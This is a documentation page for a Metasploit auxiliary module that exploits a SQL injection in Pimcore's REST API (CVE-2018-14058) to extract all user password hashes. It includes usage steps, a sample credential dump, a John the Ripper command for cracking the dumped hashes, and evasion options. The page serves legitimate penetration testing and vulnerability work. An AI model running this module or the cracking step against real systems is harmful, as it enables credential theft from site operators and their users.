Pimcore Gather Credentials via SQL Injection - Metasploit
This page contains detailed information about how to use the auxiliary/gather/pimcore_creds_sqli metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Pimcore Gather Credentials via SQL Injection
Module: auxiliary/gather/pimcore_creds_sqli
Source code: modules/auxiliary/gather/pimcore_creds_sqli.rb
Disclosure date: 2018-08-13
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2018-14058
This module extracts the usernames and hashed passwords of all users of the Pimcore web service by exploiting a SQL injection vulnerability in Pimcore's REST API. Pimcore begins to create password hashes by concatenating a user's username, the name of the application, and the user's password in the format USERNAME:pimcore:PASSWORD. The resulting string is then used to generate an MD5 hash, and then that MD5 hash is used to create the final hash, which is generated using PHP's built-in password_hash function.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
Basic Usage
msf > use auxiliary/gather/pimcore_creds_sqli
msf auxiliary(pimcore_creds_sqli) > show targets
... a list of targets ...
msf auxiliary(pimcore_creds_sqli) > set TARGET target-id
msf auxiliary(pimcore_creds_sqli) > show options
... show and set options ...
msf auxiliary(pimcore_creds_sqli) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Description
This module exploits a SQL injection vulnerability in Pimcore's REST web service for versions below 5.3.0. By using a UNION query on the object inquire
service, this module can steal the usernames and password hashes of all users of Pimcore.
Pimcore begins to create password hashes by concatenating a user's username, the name of the application, and the user's password in the format USERNAME:pimcore:PASSWORD
.
The resulting string is then used to generate an MD5 hash, and then that MD5 hash is used to create the final hash, which is generated using PHP's built-in password_hash
function.
The following is an example of cracking a retrieved hash using John the Ripper on OS X (md5{,sum}
invocation may vary):
wvu@kharak:~$ md5 -qs 'admin:pimcore:TrustNo1!!' | john --stdin <(echo 'admin:$2y$10$k6odZgiw2RnC1gbuD2/vRO21SxVuAeUiYYWwRtmYuNHYvZCzEX2Fy')
Created directory: /Users/wvu/.john
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Press Ctrl-C to abort, or send SIGUSR1 to john process for status
c28e017eec634579fd9309d08171c115 (admin)
1g 0:00:00:00 14.28g/s 14.28p/s 14.28c/s 14.28C/s c28e017eec634579fd9309d08171c115
Use the "--show" option to display all of the cracked passwords reliably
Session completed
wvu@kharak:~$
Vulnerable Application
Installing composer and running php composer.phar create-project pimcore/pimcore=5.2.3 ./myproject --no-dev
will install Pimcore and most of its dependencies.
The installation process will give notifications on missing PHP extensions that are required. Additionally, a web server and database must be set up.
Source for Pimcore v5.2.3 can also be found here
Verification Steps
- Install the application
- Start msfconsole
- Do:
use auxiliary/gather/pimcore_creds_sqli
- Do:
set RHOSTS [IP]
- Do:
set TARGETURI [URI]
- Do:
set APIKEY [KEY]
- Do:
run
- You should get a list of Pimcore user credentials
Options
APIKEY
Valid API key for accessing Pimcore's REST API in order to perform the injection.
Scenarios
Tested on Ubuntu 18.04.1 Running Pimcore v5.2.3
msf5 > use auxiliary/gather/pimcore_creds_sqli
msf5 auxiliary(gather/pimcore_creds_sqli) > set rhosts 192.168.37.246
rhosts => 192.168.37.246
msf5 auxiliary(gather/pimcore_creds_sqli) > set apikey 77369eee2b728e0efbb2c296549aea09b91d3751c26a3c27ce0b1dbb6bfaf11b
apikey => 77369eee2b728e0efbb2c296549aea09b91d3751c26a3c27ce0b1dbb6bfaf11b
msf5 auxiliary(gather/pimcore_creds_sqli) > run
[+] Credentials obtained:
[+] admin : $2y$10$sBaD3EOAm/i1F3Mm/fwseeq3nyoacdlUt4NkVLZUgJ4FTReJSKIbe
[+] secondUser : $2y$10$DYaFjrYnajTmVhhXSmsh8O5rLrQuPt8Q9Dto3vaQ4747K5kSvWEPy
[+] blah : $2y$10$sJWr.puqXnF5T3DI3L1oqu3aIJRjUtHs9.2pgHEkevEdGrGvO1cBC
[*] Auxiliary module execution completed
Go back to menu.
Msfconsole Usage
Here is how the gather/pimcore_creds_sqli auxiliary module looks in the msfconsole:
msf6 > use auxiliary/gather/pimcore_creds_sqli
msf6 auxiliary(gather/pimcore_creds_sqli) > show info
Name: Pimcore Gather Credentials via SQL Injection
Module: auxiliary/gather/pimcore_creds_sqli
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2018-08-13
Provided by:
Thongchai Silpavarangkura
N. Rai-Ngoen
Shelby Pace
Module side effects:
ioc-in-logs
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
APIKEY yes The valid API key for Pimcore REST API
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to pimcore
VHOST no HTTP server virtual host
Description:
This module extracts the usernames and hashed passwords of all users
of the Pimcore web service by exploiting a SQL injection
vulnerability in Pimcore's REST API. Pimcore begins to create
password hashes by concatenating a user's username, the name of the
application, and the user's password in the format
USERNAME:pimcore:PASSWORD. The resulting string is then used to
generate an MD5 hash, and then that MD5 hash is used to create the
final hash, which is generated using PHP's built-in password_hash
function.
References:
https://nvd.nist.gov/vuln/detail/CVE-2018-14058
https://www.exploit-db.com/exploits/45208
Module Options
This is a complete list of options available in the gather/pimcore_creds_sqli auxiliary module:
msf6 auxiliary(gather/pimcore_creds_sqli) > show options
Module options (auxiliary/gather/pimcore_creds_sqli):
Name Current Setting Required Description
---- --------------- -------- -----------
APIKEY yes The valid API key for Pimcore REST API
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to pimcore
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the gather/pimcore_creds_sqli auxiliary module:
msf6 auxiliary(gather/pimcore_creds_sqli) > show advanced
Module advanced options (auxiliary/gather/pimcore_creds_sqli):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the gather/pimcore_creds_sqli module can do:
msf6 auxiliary(gather/pimcore_creds_sqli) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the gather/pimcore_creds_sqli auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(gather/pimcore_creds_sqli) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
The request returned no results.
Here is a relevant code snippet related to the "The request returned no results." error message:
66: 'id' => cmd
67: }
68: )
69:
70: unless res
71: fail_with(Failure::NotFound, 'The request returned no results.')
72: end
73:
74: fail_with(Failure::NoAccess, 'API key is invalid') if res.body.include?('API request needs either a valid API key or a valid session.')
75:
76: format_results(res.get_json_document['data'])
API request needs either a valid API key or a valid session.
Here is a relevant code snippet related to the "API request needs either a valid API key or a valid session." error message:
69:
70: unless res
71: fail_with(Failure::NotFound, 'The request returned no results.')
72: end
73:
74: fail_with(Failure::NoAccess, 'API key is invalid') if res.body.include?('API request needs either a valid API key or a valid session.')
75:
76: format_results(res.get_json_document['data'])
77: end
78:
79: def format_results(response)
No data found
Here is a relevant code snippet related to the "No data found" error message:
75:
76: format_results(res.get_json_document['data'])
77: end
78:
79: def format_results(response)
80: fail_with(Failure::NotFound, 'No data found') unless response
81: creds = response.to_s.scan(/"([^\s]*)\s(\$[^(=>)]*)"/)
82: fail_with(Failure::NotFound, 'Could not find any credentials') if creds.empty?
83:
84: print_good("Credentials obtained:")
85: creds.each do |user, pass|
Could not find any credentials
Here is a relevant code snippet related to the "Could not find any credentials" error message:
77: end
78:
79: def format_results(response)
80: fail_with(Failure::NotFound, 'No data found') unless response
81: creds = response.to_s.scan(/"([^\s]*)\s(\$[^(=>)]*)"/)
82: fail_with(Failure::NotFound, 'Could not find any credentials') if creds.empty?
83:
84: print_good("Credentials obtained:")
85: creds.each do |user, pass|
86: print_good("#{user} : #{pass}")
87: store_creds(user, pass)
Could not access the Pimcore web page.
Here is a relevant code snippet related to the "Could not access the Pimcore web page." error message:
101: service_name: 'mysql',
102: protocol: 'tcp'
103: }
104: )
105: end
106:
107: def run
108: fail_with(Failure::NotFound, 'Could not access the Pimcore web page.') unless available?
109: get_creds
110: end
111: end
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #14212 Merged Pull Request: Fix invalid disclosure date formats
- #10707 Merged Pull Request: Add support to track module reliability, side effects, and stability
- #10677 Merged Pull Request: Rename Pimcore and Dolibarr SQLi modules
- #10670 Merged Pull Request: Add Pimcore SQLi Auxiliary Module
References
See Also
Check also the following modules related to this module:
- exploit/multi/http/pimcore_unserialize_rce
- auxiliary/admin/http/typo3_news_module_sqli
- auxiliary/admin/http/wp_google_maps_sqli
- auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli
- auxiliary/admin/mssql/mssql_escalate_dbowner_sqli
- auxiliary/admin/mssql/mssql_escalate_execute_as_sqli
- auxiliary/admin/mssql/mssql_ntlm_stealer_sqli
- auxiliary/admin/scada/advantech_webaccess_dbvisitor_sqli
- auxiliary/gather/alienvault_iso27001_sqli
- auxiliary/gather/alienvault_newpolicyform_sqli
- auxiliary/gather/billquick_txtid_sqli
- auxiliary/gather/dolibarr_creds_sqli
- auxiliary/gather/joomla_com_realestatemanager_sqli
- auxiliary/gather/joomla_contenthistory_sqli
- auxiliary/gather/joomla_weblinks_sqli
- auxiliary/gather/mantisbt_admin_sqli
- auxiliary/gather/peplink_bauth_sqli
- auxiliary/gather/solarwinds_orion_sqli
- auxiliary/gather/suite_crm_export_sqli
- auxiliary/gather/vbulletin_getindexablecontent_sqli
- auxiliary/gather/vbulletin_vote_sqli
- auxiliary/gather/zabbix_toggleids_sqli
- auxiliary/scanner/http/vicidial_multiple_sqli
- auxiliary/scanner/http/wordpress_cp_calendar_sqli
- auxiliary/scanner/http/wp_abandoned_cart_sqli
- auxiliary/scanner/http/wp_chopslider_id_sqli
- auxiliary/scanner/http/wp_contus_video_gallery_sqli
- auxiliary/scanner/http/wp_email_sub_news_sqli
- auxiliary/scanner/http/wp_learnpress_sqli
- auxiliary/scanner/http/wp_loginizer_log_sqli
- auxiliary/scanner/http/wp_modern_events_calendar_sqli
- auxiliary/scanner/http/wp_registrationmagic_sqli
- auxiliary/scanner/http/wp_secure_copy_content_protection_sqli
- auxiliary/sqli/dlink/dlink_central_wifimanager_sqli
Authors
- Thongchai Silpavarangkura
- N. Rai-Ngoen
- Shelby Pace
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.